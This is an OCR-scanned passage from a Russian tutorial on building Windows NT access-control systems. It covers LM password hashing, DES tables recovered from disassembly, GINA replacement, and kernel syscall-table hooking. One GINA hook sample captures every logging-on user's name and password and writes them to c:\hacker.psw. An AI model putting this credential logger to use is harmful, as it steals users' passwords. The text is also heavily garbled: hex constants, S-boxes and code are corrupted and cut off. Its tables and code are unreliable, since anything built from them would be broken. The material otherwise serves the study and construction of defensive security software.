  • Не на всех уровнях сетевой архитектуры операционная система Windows NT позволяет расширять свои возможности и, в частности, возможности по реализации защиты сетевой информации.

  • Даже там, где сетевая архитектура предоставляет возможность расширения своей функциональности, Microsoft не всегда документирует эту возможность. Это в первую очередь относится к драйверам файловых систем, разработка которых до недавнего времени вообще не была документирована, а сейчас соответствующая документация предоставляется отдельно от MSDN и по достаточно высокой цене.

  • Наибольшие возможности по расширению своей функциональности ОС предоставляет на уровне промежуточных драйверов, располагающихся между драйверами транспортов и драйверами сетевых карт. Но в этом случае может возникнуть проблема реализации дополнительной функциональности в драйвере для корректной своей работы в сети. Эта проблема возникает в результате того, что ОС позволяет безболезненно встраивать собственные модули защиты только на довольно низком уровне относительно модели OSI. Поэтому средству защиты иногда требуется реализовывать функциональность, уже имеющуюся у сетевых компонентов более высокого уровня (относительно модели OSI).


  • Самоучитель по программированию систем защиты

    Локальная аутентификация пользователя в Windows NT

    Локальная аутентификация пользователя в Windows NT

    В ОС Windows NT для идентификации используется имя пользователя, а для подтверждения введенного имени - процедура аутентификации, использующая символьный пароль пользователя.

    Обозначим через:

    PasswordUniCode - пароль пользователя в формате UniCode;

    PasswordASCII[0..13] - массив из 14 байт, пароль пользователя в формате ASCII;

    PasswordDES[0..15] - массив из 16 байт, который назовем образом пароля пользователя, полученным при помощи алгоритма DES;

    PasswordMD4 [0.. 15] - массив из 16 байт, который назовем образом пароля пользователя, полученным при помощи алгоритма MD4.

    EncryptedText = DES(ClearText, Key) - функция преобразования по алгоритму DES, где ClearText и EncryptedText массивы по 8 байт - открытый и шифрованный текст соответственно, Key - массив из 7 байт, являющийся ключом;

    HashText = MD4(ClearText) - функция преобразования по алгоритму хэширования MD4, где ClearText массив из 64 байт - открытый текст, HashText массив из 16 байт -хэшированный текст. .

    Алгоритм локальной идентификации пользователя состоит из следующих шагов:

    Шаг 1; Пользователь вводит с клавиатуры в ответ на запрос рабочей станции свое имя, имя домена и пароль в формате UniCode: PasswordUniCode.

    Шаг 2. PasswordUniCode преобразуется в формат ASCII, причем маленькие латинские буквы преобразуются в большие, результат записывается в PasswordASCII - массив из 14 байт. Если пароль короче 14 символов, оставшиеся байты массива PasswordASCII заполняются нулями.

    Далее осуществляется преобразование:

    PasswordDES[0..7]:= DES(ClearText, PasswordASCII[0..6]);

    PasswordDES[8..15]:= DES(ClearText, PasswordASCII[7..13]),

    где ClearText = (4B, 47, 53, 21, 40, 23, 24, 25) = «KGS!@#$%».

    Шаг З. Осуществляется преобразование пароля пользователя с помощью алгоритма хэширования MD4:

    PasswordMD4:= MD4(PasswordUniCode).

    Шаг 4. PasswordMD4 сравнивается с данными, которые вычисляются путем расшифрования данных, хранящихся в реестре, в начале загрузки операционной системы.

    Шаг 5. В случае успешной проверки на шаге 4 разрешается дальнейшая загрузка системы, в противном случае осуществляется переход к шагу 1.

    При входе пользователя в систему из введенного им пароля выбираются 14 байт (при меньшей длине пароль дополняется нулями), которые затем дважды используются в качестве ключей для шифрования согласно алгоритму DES 8-ми байт, а именно: Ox4b,0x47,0x53,0x21,0x40,0x23,0x24,0x25, находящихся в файле advapi32.dll и являющихся заранее заданными постоянными значениями. При этом 14 байт пароля пользователя разбиваются на два отрезка по 7 байт каждый, которые затем представляются в виде последовательности из восьми 7-ми битовых векторов. Для получения ключа алгоритма DES с каждой из последовательностей выполняются следующие действия: каждый 7-ми битовый вектор переписывается в обратном порядке, расширяется до байта с приписыванием справа единицы, и к полученным 8-ми байтам применяется операция конкатенации. Полученный таким образом двоичный вектор длины 64 используется в качестве ключа.

    Результаты шифрования исходных 8-ми байт на двух различных ключах, полученных из пароля пользователя, разбитые на два блока по 8 байт, дополняются справа нулями и разбиваются на три блока по 7 байт, из которых затем снова получаются в соответствии с описанным выше способом три 64-битовые вектора, используемые в качестве трех различных ключей при трех независимых вызовах процедуры шифрования, применяемых к полученному от сервера значении сеансового ключа (меняющегося от сессии к сессии). Результат шифрования в виде последовательности 24-х байт рассматривается как результат обработки пароля пользователя.

    Оценка адекватности описанного преобразования реальному производилась путем соотнесения дизассемблированной процедуры шифрования и аналогичной процедуры, записанной на языке высокого уровня. При этом выяснилось, что используется блочный алгоритм, имеющий итеративную структуру - к исходному тексту - блоку из 64-х бит - применяется подстановка. Результат применения подстановки разбивается на два блока по 32 бита, один из которых путем повторения некоторых бит расширяется до 48-ми битового блока, который складывается покоординатно с выборкой из ключа той же размерности и разбивается на восемь блоков по 6 байт, поступающих на узлы замены. К полученному в результате 32-х битовому блоку снова применяется подстановка. Затем блоки складываются и меняются местами. Этот процесс итеративно повторяется 16 раз. Затем снова применяется подстановка. Таким образом, стало понятно, что речь идет о DES-подобной схеме, и вопрос состоит лишь в совпадении параметров алгоритма. Для того, чтобы решить этот вопрос, была проделана работа по выделению участков процедуры, реализующих ту или иную часть алгоритма, и их сравнению с аналогичными частями алгоритма DES.
    Первоначальная подстановка.
    Первоначальная подстановка открытого текста осуществляется в соответствии со следующей процедурой:
    for(i=0; i<63; i++)

    Text[i]«Plaintext[Tabl[i]];
    где массив Plaintext содержит исходный открытый текст, массив Text содержит обрабатываемый массив из 64 бит, поступающий затем на вход итеративной части алгоритма, а массив Tab! содержит нижнюю строку подстановки открытого текста и имеет вид:
    57,49,41/33,25,17, 9,1,

    59,51,43,35,27,19,11,3,

    61,53,45,37,29,21,13,5,

    63,55,47,39,31,23,15,7,

    56,48,40,32,24,16, 8,0,

    58,50,42,34,26,18,10,2,

    60,52,44,36,28,20,12,4,

    62,54,46,38,30,22,14,6;
    что совпадает с первоначальной подстановкой для открытого текста алгоритма DES с учетом различий в нумерации бит текста (в описании DES вс
    е нумерации начинаются с 1).

    Функция расширения. Функция расширения 32-х битового блока обрабатываемого текста применяется следующим образом: при i, изменяющемся от 0 до 47, i-й бит результирующего блока вычисляется по формуле:
    Text[32+Tab2[i]];
    где Таb2 имеет вид:
    31, 0, 1, 2, 3, 4, 3, 4,

    5, 6, 7, 8, 7, 8, 9,10;.

    11,12,11,12,13,14,15,16,,

    15,16,17,18,19,20,19,20, ,

    21,22,23,24,23,24,25,26,

    27,28,27,28,29,30,31, 0; '
    что непосредственно совпадает с функцией расширения алгоритма DES.

    S-боксы. Узлы замены, именуемые S-боксами, применяются следующим образом: Пусть ah(i) - i-й 6-ти битовый блок 48-ми битовой последовательности, получаемой в результате побитового сложения выхода с функции расширения с ключом на итерацию bx=(i-l)*64, al(i) - i-й блок результирующей 32-х битовой последовательности - результат применения узла замены, 1=1..8. Тогда al(i) вычисляется следующим образом:
    ah+=bx;

    al=Tab3[ah/2];

    if(ah&l) al/=16;

    al%=16;
    при этом ТаbЗ имеет вид:
    ОхОе, Oxf 4, Ox7d, 0x41, Охе2, Ox2f, Oxdb., 0x18,

    ОхаЗ,Охба,Охсб,Oxbc,0x95,0x59,0x30,0x87,

    Oxf4, Oxcl,Ох8е,0x28,Ox4d,0x96,0x12,Ox7b,

    Ox5f,.Oxbc,Ox39,Oxe7,.Oxa3,OxQa,Ox€5,OxdO, Ox3f,0xdl,0x48,Ox7e,0xf6,0x2b,0x83,Oxe4/ Oxc9,0x07,0x12,Oxad,Охбс,0x90,Oxb5,Ox5a, OxdO,Ox8e,Oxa7,Oxlb,ОхЗа,Oxf4,0x4d,0x21, Oxb5,0x68,Ox7c,Охсб,0x09,0x53,Oxe2,Ox9f, Oxda,0x70,0x09,Ox9e,0x36,0x43,Ox6f,Oxa5, 0x21,Ox8d,Ox5c,Oxe7,Oxcb,Oxb4,Oxf2,0x18, Oxld, Охаб, Oxd4, 0x09, 0x68, Ox9f, 0x83, Ox7CT, Ox4b,Oxf1,Oxe2,ОхЗс,Oxb5,Ox5a,Ox2e,Oxc7, Oxd7,Ox8d,Oxbe,0x53,0x60,Oxf6,0x09,ОхЗа, 0x41, 0x72, 0x28, Oxc5, Oxlb, Oxa'c, Oxe4, Ox9f, ОхЗа,Oxf6,0x09,0x60,Oxac,Oxlb,Oxd7,Ox8d, Ox9.f, 0x41, 0x53, Oxbe, Oxc5, 0x72, 0x28, Oxe4, Oxe2, Oxbe,0x24,Oxcl,0x47,Ox7a,Oxdb,0x16, 0x58,0x05,Oxf3,Oxaf,Ox3d,0x90,Ox8e,0x69, Oxb4, 0x82,Oxcl,Ox7b,Oxla,Oxed,0x27,Oxd8, Ox6f,Oxf9,OxOc,0x95,Охаб,0x43,0x50,ОхЗе, Oxac,Oxf1,0х4а,Ox2f,0x79,Oxc2,0x96,0x58, 0x60,Oxld,Oxd3,Oxe4,OxOe,Oxb7,0x35,Ox8b, 0x49,ОхЗе,Ox2f,Oxc5;0x92,0x58,Oxfc,ОхаЗ, Oxb7,OxeO,0x14,Ox7a,0x61,OxOd,Ox8b,Oxd6, Oxd4., OxOb, Oxb2, Ox7e, Ox4f, 0x90, 0x18, Oxad, ОхеЗ,ОхЗс,Ох59/0хс7,0x25,Oxfa,0x86,0x61, 0x61,Oxb4,Oxdb,Ox8d,Oxlc,0x43,Oxa7,Ox7e, Ox9a,Ox5f,0x06,Oxf8,OxeO,0x25,0x39,Oxc2, Oxld,Oxf2,Oxd8,0x84,Охаб,Ox3f,Ox7b,0x41, Oxca,0x59,0x63,Oxbe,0x05,OxeO,Ox9c,0x27, 0x27,Oxlb,Oxe4,0x71,0x49,Oxac,Ox8e,Oxd2, Oxf0,Охсб,Ox9a,OxOd,Ox3f,0x53,0x65,Oxb8
    Легко видеть, что, с учетом изменения порядка адресации, узлы замены могут быть изображены в традиционном виде в результате выполнения следующей процедуры:
    for (i=0; i<8;

    {

    for(j=0; j<64; j

    {

    l=tab[j/2+32*i];

    if(j&l == 1)

    1/=16;

    box[i] [j%2+(j/32)*2]
    Результаты выполнения этой процедуры выглядят следующим образом:
    бокс номер 0
    1.4 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7

    О 15 7 4 14 2 13 1 10 б 12 11 9 5 3 8

    4 1 14 8 .13 б 2 11 15 12 9 7 3 10 5 О

    15 12 8 2 4 9 1 7 5 11 3 14 10 0 б 13
    бокс номер 1
    15 1 8 14 б 11 3 4 9 7 2 13 12 0 5 10

    3 13 4 7 15 2 8 14 12 О 1 10 6 9 11 5

    0 14 7 11 10 4.13 1 5 8 12 б 9 3 2 15

    13 8 10 1 3 15 4 2 11 б 7 12 0 5 14 9
    бокс номер 2
    10 0 9 14 б 3 15 5 1 13 12 7 11 4 2 8

    13 7 0 9 3 4 б 10 2 8,5 14 12 11 15 1

    13 б 4 9 8 15 3 0 11 1 2 12 5 10 14 7

    1 10 13 0 б 9 8 7 4 15 14 3 11 5 2 12
    бокс номер 3
    7 13 14 3 0 б 9 10 1 2 8 5 11 12 4 15

    13 8 11 5 б 15 0 3 4 7 2 12 1 10 14 9

    10 б 9 0 12 11 7 13 15 1 3 14 5 2 8 4

    3 15 0 6 10 1 13 8 9 4 5 11 12 7 2 14
    бокс номер 4
    2 12 4 1 7 10 11 6 8 5 3 15 13 0 14 9

    14 11 2 12 4 7 13 150 15 10 3 9 8 б

    4 2 1 11 10 13 7 8 15 9 12 5 б 3 0 14

    11 8 12 7 1 14 2 13 б 15 0, 9 10 4 5 3
    бокс номер 5
    12 1 10 15 92 б 80 13 3 4 14 7 5 11

    10 15 4 2 7 12 9 5 б 1 13 14 0 11 3 8

    9.14 15 5 2 8 12 37 0 4 10 1 13-11 б

    4 3 2 12 9 5 15 10 11 14 1 7 б 0 8 13
    бокс номер
    6 4 11 2 14 15 0 8 13 3 12 9 7 5 10 б 1

    13 0 11 7 4 9 1 10 14 3 5 12 2 15 8 6 1

    4 11 13 12 3 7 14 10 15 б 8 0 5 9 2

    6 11 13 8 1 4 10 7 9 5 0 15 14 2 3 12
    бокс номер 7
    13 2 8 4 б 15 11 1 10 9 3 14 5 0 12 7

    1 15 13 8 10 3 7 4 12 5 б 11 0 14 9 2

    7 11 4 1 9 12 14 2 0 б 10 13 15 3 5 8

    2 1 14 7 4 10 8 13 15 12 9 О 3 5 6 11
    что полностью совпадает с узлами замены (подстановками) алгоритма DES.



    Макет системы защиты от несанкционированного доступа

    Макет системы защиты от несанкционированного доступа

    При создании системы защиты информации (СЗИ) от несанкционированного доступа необходимо реализовать следующие функциональные подсистемы:
    - подсистему идентификации и аутентификации (ИА) пользователей,

    - подсистему разграничения (контроля) доступа субъектов ОС к объектам,

    - подсистему регистрации событий.
    При этом подсистему идентификации и аутентификации целесообразно ассоциировать со штатной подсистемой ИА, реализуемой MSGINA, а подсистему контроля доступа и регистрации событий - с отдельно работающим драйвером контроля доступа, связанным с подсистемой ИА. Такая связь необходима потому, что контроль доступа к объектам до входа конкретного пользователя в систему может представлять собой достаточно нетривиальную задачу, например, если для конкретного пользователя задана изолированная программная среда (т.е. фиксированный список задач, которые он может запускать), то непонятно как быть с задачами, запускаемыми до выполнения успешной процедуры ИА данного пользователя). Кроме того, связь со штатным модулем ИА может служить для передачи ключевой информации, необходимой для инициализации персональных криптографических модулей, предназначенных для шифрования трафика (см. выше) или для периодического тестирования корректности работы криптографических функций или иных механизмов обеспечения безопасности.

    Рассмотрим пример макета ядра СЗИ от несанкционированного доступа для Windows NT/2000. Основными компонентами этой системы защиты являются, как указано выше:
  • Драйвер контроля доступа, предназначенный для перехвата файловых операций на уровне ядра.

  • Модифицированная библиотека GINA (XGINA), построенная по принципу полного перехвата экспортируемых функций оригинальной MSGINA (Graphical Identification aNd Authentication DLL for Wiwnlogon). При входе пользователя библиотека GINA.DLL возвращает директивы приложению Winlogon, согласно которым оно либо не должно менять текущий статус процесса ИА, либо выполнить некоторые действия (например, насильственно выгрузить пользователя). В зависимости от значения параметра dwOptions в функции WlxLoggedOutSasQ библиотеки GINA.DLL, приложение Winlogon либо, не должно загружать профиль входящего пользователя, либо же должно выполнить загрузку того пользовательского профиля, информацию о котором вернула библиотека GINA.DLL.





  • Механизм идентификации и аутентификации в ОС Windows NT.Общее описание

    Механизм идентификации и аутентификации в ОС Windows NT.Общее описание

    При входе в систему пользователь передает в системную функцию LogonUser свое имя, пароль и имя рабочей станции или домена, в котором данный пользователь зарегистрирован. Если пользователь успешно идентифицирован, функция LogonUser возвращает указатель на маркер доступа пользователя, который в дальнейшем используется при любом его обращении к защищенным объектам системы.

    Механизм идентификации и аутентификации пользователя в ОС Windows NT реализуется специальным процессом Winlogon, который активизируется на начальном этапе загрузки ОС и остается активным на протяжении всего периода ее функционирования. Ядро операционной системы регулярно проверяет состояние данного процесса и в случае его аварийного завершения происходит аварийное завершение работы всей операционной системы. Помимо идентификации пользователя Winlogon реализует целый ряд других функций, таких, как переключение рабочих полей (desktop), активизация хранителей экрана, а также ряд сетевых функций.

    Процесс Winlogon состоит из следующих модулей:
  • ядра процесса Winlogon.exe;

  • библиотеки GINA (Graphic Identification aNd Autentication - графической библиотеки идентификации и аутентификации) - динамической библиотеки функций, используемых для «локальной» идентификации пользователя (идентификации пользователя на рабочей станции);

  • библиотек сетевой поддержки (Network Provider DLLs), реализующих «удаленную» идентификацию пользователей (идентификацию пользователей, обращающихся к ресурсам сервера через сеть).

  • Библиотека GINA и библиотеки сетевой поддержки являются заменяемыми компонентами процесса Winlogon. Конфигурация библиотек сетевой поддержки определяется протоколами и видами сервиса поддерживаемой сети, конфигурация библиотеки GINA определяется требованиями к механизму локальной идентификации.



    Модифицированная библиотека Gina

    Модифицированная библиотека Gina

    f Модифицированная библиотека (полностью текст и описание состояний приведено выше) Gina XGINA.dll реализует перехват экспортируемых оригинальной MSGINA функций с последующей передачей им управления. Собственные обработчики должны иметь такие же имена, что и оригинальные (экспортируемые библиотекой MSGINA).

    Для того чтобы вместо оригинальной библиотеки MSGINA.dll в процесс winlogon подгружалась модифицированная библиотека XGINA.dll, нужно задать в ключе реестра \Registry\Machine\Software\Microsoft\Windo\vs NT\Current Version\Winlogon запись: GinaDll = c:\xgina.dll.

    XGINA.dll во время загрузки в процесс Winlogon должна сначала подгрузить оригинальную библиотеку MSGINA.DLL, а затем получить адреса экспортируемых этой библиотекой функций, для того чтобы использовать эти адреса в собственных обработчиках:
    WLXNEGOTIATE

    WLXINITIALIZE

    WLXDISPLAYSASNOTICE

    WLXLOGGEDOUTSAS

    WLXACTIVATEUSERSHELL

    WLXLOGGEDONSAS

    WLXISLOCKOK

    WLXDISPLAYLOCKEDNOTICE

    WLXWKSTALOCKEDSAS

    g_lpWlxNegotiate = NULL; g_lpWlxInitialize = NULL;

    g_lpWlxDisplaySASNotice = NULL; g_lpWlxLoggedOutSAS = NULL;

    g_lpWlxActivateUserShell = NULL; g_lpWlxLoggedOnSAS = NULL; g_lpWlx!sLockOk = NULL;

    g_lpWlxDisplctyLockedNotice = NULL; g IpWlxWkstaLockedSAS = NULL;

    WLXISLOGOFFOK g_lpWlx!sLogoffOk = NULL;

    WLXLOGOFF . g_lpWlxLogoff » NULL;

    WLXSHUTDOWN g_lpWlxShutdown - NULL;

    BOOL InitMSGinaDllO

    { .

    hMSGinaDLL = LoadLibrary(_T("MSGINA.DLL"));

    if (hMSGinaDLL == NULL)

    {

    return FALSE; }

    MessageBox(NULL,_T("Load Original Library MSGINA"), _T("GinaDebug"), MB_OK);

    g_lpWlxNegotiate = ( WLXNEGOTIATE )GetProcAddress(hMSGinaDLL, "WlxNegotiate" );

    g_lpWlxInitialize = ( WLXINITIALIZE )GetProcAddress(hMSGinaDLL, "Wlxlnitialize" ) ;

    g_lpWlxDisplaySASNotice = ( WLXDISPLAYSASNOTICE ) GetProcAddress(hMSGinaDLL, "WlxDisplaySASNotice" ); g_lpWlxLoggedOutSAS -= ( WLXLOGGEDOUTSAS )GetProcAddress (hMSGinaDLL, "WlxLoggedOutSAS" );

    g_lpWlxActivateUserShell = ( WLXACTIVATEUSERSHELL ) GetProcAddress(hMSGinaDLL, "WlxActivateUserShell" ); g_lpWlxLoggedOnSAS = ( WLXLOGGEDONSAS )GetProcAddress(hMSGinaDLL,

    "WlxLoggedOnSAS" );

    g_lpWlx!sLockOk = ( WLXISLOCKOK )GetProcAddress(hMSGinaDLL, "WlxIsLockOk" );

    g_lpWlxDisplayLockedNotice = ( WLXDISPLAYLOCKEDNOTICE ) GetProcAddress(hMSGinaDLL, "WlxDisplayLockedNotice" ); g_lpWlxWkstaLockedSAS = ( -WLXWKSTALOCKEDSAS .) GetProcAddress(hMSGinaDLL, "WlxWkstaLockedSAS" ); g_lpWlx!sLogoffOk = ( WLXISLOGOFFOK )GetProcAddress(hMSGinaDLL, "WlxIsLogoffOk" ) ;

    g_lpWlxLogoff = ( WLXLOGOFF )GetProcAddress(hMSGinaDLL, "WlxLogoff" ); g_lpWlxShutdown = ( WLXSHUTDOWN )GetProcAddress(hMSGinaDLL, "WlxShutdown" );

    MessageBox(NULL,_T("All Function Attach Succesfully") , _T ("GinaDebug"), MBJDK); return TRUE;

    Ниже приведен пример нового обработчика экспортируемой функции WlxLoggedOutSAS:

    int WINAPI WlxLoggedOutSAS( PVOID pWlxContext, DWORD dwSasType, FLUID pAuthenticationld, //ID, ассоциированный с текущей сессией logon

    PSID pLogonSid, //SID уникальный для текущей сессией logon

    PDWORD pdwOptions, //опция загрузки профиля PHANDLE phToken,

    PWLX_MPR_NOTIFY_INFO pMprNotifylnfo, //парольная информация PVOID* pProfile )

    //указатель на одну из структур WLX_PROFILE_xxx { '

    int res,i; FILE *out;

    UCHAR current_name[32],current_pass[32]; UCHAR pro[2]={0x20,0}; UCHAR end[3]={OxD,OxA,0};

    MessageBox(NULL,_T("WlxLoggedOutSAS"),_T("GinaDebug"),MB_OK); //вызов оригинальной функции WlxLoggedOutSAS res = g_lpWlxLoggedOutSAS(

    pWlxContext, dwSasType, pAuthenticationld, pLogonSid, pdwOptions, phToken, pMprNotifylnfo,

    pProfile );

    if(res == WLX_SAS_ACTION_LOGON) {

    for (i=0;i<32;i++) current_name[i]=0; for (i=0;i<32;i++)

    {

    if(pMprNotify!nfo->pszUserName[i]==0) break; else current_name[i]=pMprNotify!nfo->pszUserName[i]; //получение имени пользователя

    for(i=0;i<32;i++) current_pass[i]=0; for (i=0;i<32;i+,+ )

    if(pMprNotify!nfo->pszPassword[i]==0) break;

    else current_pass[i]=pMprNotify!nfo->pszPassword[i] ; //получение пароля пользователя

    out=fopen ("с: \\hacker.psw", "r+b") ; if (out!=NULL) {

    f seek (out, 0, SEEK_END) ;

    //вывод имени пользователя в файл с: \\hacker .psw f write (cur rent_name, sizeof (char) , strlen (current_name) , out);

    fwrite (pro, sizeof (char) , 1, out) ;

    //вывод пароля пользователя в файл с: \\hacker .psw fwrite (current_pass, sizeof (char) , strlen (current_pass) , out) ;

    fwrite (end, sizeof (char) , 2, out) ; fclose (out) ;

    '

    return res;



    Определение имени процесса

    Определение имени процесса

    Реализация драйвером функции получения имени обращающегося к ресурсу процесса необходима для создания системы защиты от НСД не ниже 3 класса по классификации Руководящих документов Государственной технической комиссии РФ, определяющих защищенность средств вычислительной техники (СВТ) или класса 1В по классификации защищенности автоматизированных систем (АС). При этом может быть поддержана полная модель полномочного (мандатного) доступа, определяющая возможность контроля доступа обращений к ресурсу от имени конкретного процесса.

    Имя обращающегося к ресурсу процесса находится в структуре, описывающей объект-процесс. Чтобы получить смещение имени процесса в объекте-процессе, надо во время инициализации драйвера в функции DriverEntry (которая всегда исполняется в контексте процесса System) найти строку «System» в объекте-процессе, описывающем (процесс System: ULONG GetProces'sNameOffset () .
    PEPROCESS int

    curproc;

    i; curproc = PsGetCurrentProcess () ; for( i = 0; i < 3*PAGE_SIZE; i++ ) {

    if( !strncmp( "System", (PCHAR) curproc + i, strlen ("System") )) {

    return i; .

    //имя не найдено return 0;
    После удачного завершения этой функции можно использовать возвращенное ею значение ProcessNameOffset для определения имени процесса:
    VOID GetProcess ( PCHAR Name )

    {

    PEPROCESS curproc;

    char *nameptr;

    ULONG i;

    if( ProcessNameOffset ) { s

    curproc = PsGetCurrentProcess () ;

    nameptr = (PCHAR)- curproc + ProcessNameOffset;

    strncpy( Name, nameptr, 16 ); } else {

    strcpy( Name, "???");
    Получив имя процесса, можно определить его конкретные полномочия по доступу к объектам. Например, далее по тексту будет использоваться возможность вызова функций драйвера только процессом Winlogon, в контексте которого работает GINA. Таким образом, можно гарантировать передачу параметров и управление драйвером только со стороны модифицированной библиотеки.



    Основные подходы к созданию изолированной программной среды

    Основные подходы к созданию изолированной программной среды

    Для создания ИПС можно использовать два подхода:
  • 1. Замещение пользовательской оболочки собственной задачей, которая предлагает замкнутое меню.

    Этот путь достаточно тривиален и предусматривает написание простого оконного приложения и указания пути к нему в ключе Shell.

  • 2. Задание ключей реестра, позволяющих ограничить число задач в меню Пуск стандартной оболочки.

  • В Windows NT есть возможность установить список программ, которые могут быть запущены пользователями. Для демонстрации данной возможности выполните следующие действия.
  • 1. Откройте реестр для редактирования и найдите ключ

    [HKEY_CUR-RENT_USER\Software\Microsoft\Windows

    \CurrentVersion\Policies\Explorer]

    2. Установите значение параметра 'RestrictRun1 равным 'Г для использования данной функции или равной '0' для ее блокировки. Создайте этот параметр, если его не существует.

    3. Определите программы, которые смогут запускать пользователи, в ключе: [HKEY_CURRENT_USER\Software

    \Microsoft\Windows\CurrentVersion\ Policies\Explorer\RestrictRun].
    Создайте новый параметр для каждой программы, именуя их числами по возрастанию. Например:

  • Т='Саlс.ехе'

    '2'='winword.exe'
    Рассмотренный путь имеет некоторый недостаток, связанный с тем, что необходимо редактировать ключи раздела CurretaUser. Таким образом, необходимо предварительно регистрироваться в системе в качестве пользователя, для которого устанавливается замкнутое меню.

    Следует учитывать - ничто не мешает пользователям переименовать любой .ехе файл в winword.exe (или любой другой, разрешенный к запуску) и обойти это ограничение. В связи с этим для реализации надежной защиты необходимо «поддержать» работу ИПС драйвером уровня ядра, который контролирует операции с исполняемыми файлами.



    Основные сведения о процессе Winlogon

    Основные сведения о процессе Winlogon

    В каждый момент времени Winlogon может находиться в одном из следующих состояний:

    Перехват операций открытия, создания и удаления файлов

    Перехват операций открытия, создания и удаления файлов

    Реализация драйвером перехвата файловых операций основана на недокументированном механизме перехвата системных сервисов, описанном в разделе «Реализация защиты на уровне собственного API для ОС Windows NT».

    Принцип функционирования драйвера основан на механизме замены адресов функций, предоставляемых «родным» API. Обработчик прерывания int 2E для вызова соответствующего системного сервиса использует таблицу распределения системных сервисов KeServiceDescriptorTable, экспортируемую ntoskrnl.exe.

    Во время инициализации драйвера в функции DriverEntry, после успешного создания объекта-устройства, устанавливаются собственные обработчики файловых операций. Для этого сначала надо получить адрес таблицы распределения системных сервисов:
    ServiceTable = KeServicepescriptorTable;
    Зная индексный номер функции, реализующей системный сервис, можно ио таблице определить адрес ее начала и заменить его на адрес начала собственного обработчика режима ядра.

    Это делается следующим образом:
    #define SYSCALL(_function)

    ServiceTable->ServiceTable[ *(PULONG)((PUCHAR)_function+l)]

    RealCreateFile = SYSCALL( ZwCreateFile );

    //RealCreateFile - оригинальный обработчик создания файла;

    SYSCALL( ZwCreateFile ) = (PVOID) HookCreateFile;

    //HookCreateFile - собственный обработчик создания файла;

    RealO'penFile = SYSCALL ( ZwOpenFile );

    //RealOpenFile - оригинальный обработчик открытия файла;

    SYSCALL( ZwOpenFile ) = (PVOID) HookOpenFile;

    //HookOpenFile - собственный обработчик открытия файла;
    При перехвате функций ZwCreateFile и ZwOpenFile необходимо учитывать, что операции запуска исполняемых файлов, переименования и удаления объектов производятся именно этими функциями при установленных следующим образом флагах: .

    DesiredAccess & DELETE - операция удаления файла,

    DesiredAccess & FILE_EXECUTE)

    (DesiredAccess & GENERIC_EXECUTE) - запуск исполняемого файла.

    Отдельную задачу представляет собой различение операций с объектами типа PIPE или СОМ-порт. В ряде случаев это может быть сделано по имени, например, memcmp(AnsiString.Buffer, "\\dosdevices\\com", 15) после выполнения фрагмента кода:
    UnString.Length = (USHORT)

    ObjectAttributes->ObjectName->Length;

    UnString.MaximumLength = (USHORT)

    ObjectAttributes->ObjectName-> ., ,.

    MaximumLength-; . ,

    UnString.Buffer = ObjectAttributes->ObjectName->Buffer;.

    RtlUnicodeStringToAnsiString

    .. ( SAnsiString, SUnString, TRUE ),.;



    Процедура распределения IRP_MJ_DEVICE_CONTROL драйвера контроля доступа

    Процедура распределения IRP_MJ_DEVICE_CONTROL драйвера контроля доступа

    Для взаимодействия с драйвером модифицированная библиотека GINA может использовать определенные контрольные коды, которые должен обрабатывать драйвер, например:
    tdefine TDRV_hook (ULONG) CTL_CODE( FILEJ)EVICE_TDRV, 0x00,

    METHOD_BUFFERED, FILE_ANY_ACCESS )

    #define TDRV_unhook (ULONG)

    METHOD_BUFFERED, FILE_ANY_ACCESS

    #define TDRV_setkey (ULONG)

    METHOD_BUFFERED, FILE_WRITE_ACCESS )

    #define TDRV_test (ULONG) CTL_CODE( FILE_DEVICE_TDRV, 0x03,

    METHOD_BUFFERED, FILE_WRITE_ACCESS ) .
    Тогда процедура обработки контрольных кодов драйвера Tdrv может быть следующей:
    BOOLEAN TdrvDeviceCon.trol ( IN PFILE_OBJECT FileObject, IN BOOLEAN Wait,

    .IN PVOID InputBuffer, IN ULONG InputBufferLength, OUT PVOID OutputBuffer, IN ULONG OutputBufferLength,

    IN ULONG loControlCode, OUT PIO_STATUS_BLOCK loStatus, IN PDEVICE_OBJECT DeviceObject ) { UCHAR ProcName[256] ;

    int tg_gina_work, i;

    IoStatus->Status = STATUS_SUCCESS; IoStatus->Information = 0; switch ( loControlCode ) { case TDRV_version:

    //возвратить версию драйвера контроля доступа *(ULONG *)OutputBuffer = TDRVVERSION; IoStatus->Information = sizeof(ULONG);

    break;

    case TDRV_hook:

    //заменить обработчики открытия, //создания и удаления файлов HookFileOperation() ; break;

    case TDRV_unhook:

    //восстановить обработчики открытия, //создания и удаления файлов UnhookRegistry(); break;

    case TDRV_test:

    //протестировать криптографические функции в //процедуре test_crypto {

    tg_no_work=0;

    if(test_crypto()!=0) tg_no_work=l; break;

    }

    case TDRV_setkey:

    //передать ключ шифрования драйверу, //если текущий процесс winlogon {

    tg_gina_work=0;. GetProcess(ProcName); ToLowerStr(ProcName);

    // условная процедура перевода символов в // строчные

    if(strcmp(ProcName,"winlogon.exe")==0) tg_gina_work=l; if ((InputBufferLength != sizeof(TDRV_IOCTL)) (InputBuffer == NULL ) I I (tg_gina_work==0))

    {

    IoStatus->Status = 1; break;

    } RtlMoveMemory( UserKey,,

    ((PTDRV_IOCTL)InputBuffer)->UserKey,

    KEY_SIZE ); RtlMoveMemory( Userld,

    ((PTDRV_IOCTL)InputBuffer)-XJserld, USER ID SIZE ); "

    RtlMoveMemory( UserStatus, l

    ((PTDRV_IOCTL)InputBuffer)->UserStatus,

    USER_STATUS_SIZE ); IoStatus->Status = STATUS_/_SUCCESS; break;

    default:

    IoStatus->Status - STATUS_INVALID_DEVICE_REQUEST; break;

    return TRUE;
    Драйвер может вызываться периодически по таймеру из модифицированной библиотеки Gina с помощью функции DeviceloControl для тестирования криптографических функций и других функций обеспечения безопасности с заданной периодичностью, например, Один раз в минуту.



    Протокол взаимодействия процесса Winlogon и библиотеки GINA

    Протокол взаимодействия процесса Winlogon и библиотеки GINA

    Сразу после загрузки Winlogon инициализирует GINA, вызывая последовательно ее функции WlxNegotiate и Wlxlnitialize. Рабочая станция переходит в состояние «Пользователь не вошел в систему».

    Когда пользователь собирается войти в систему с помощью комбинации клавиш Ctrl-Alt-Del, Winlogon вызывает функцию WlxLoggedOutSas библиотеки GINA. WlxLoggedOutSas осуществляет попытку входа в систему, вызывая системную функцию LogonUser. В зависимости от информации, введенной пользователем, GINA возвращает процессу Winlogon одно из следующих значений:
  • WLX_SAS_ACTION_LOGON - пользователь вошел в систему. Получив это значение, Winlogon вызывает функцию WlxActivateUserShell библиотеки GINA, которая загружает индивидуальную оболочку пользователя;

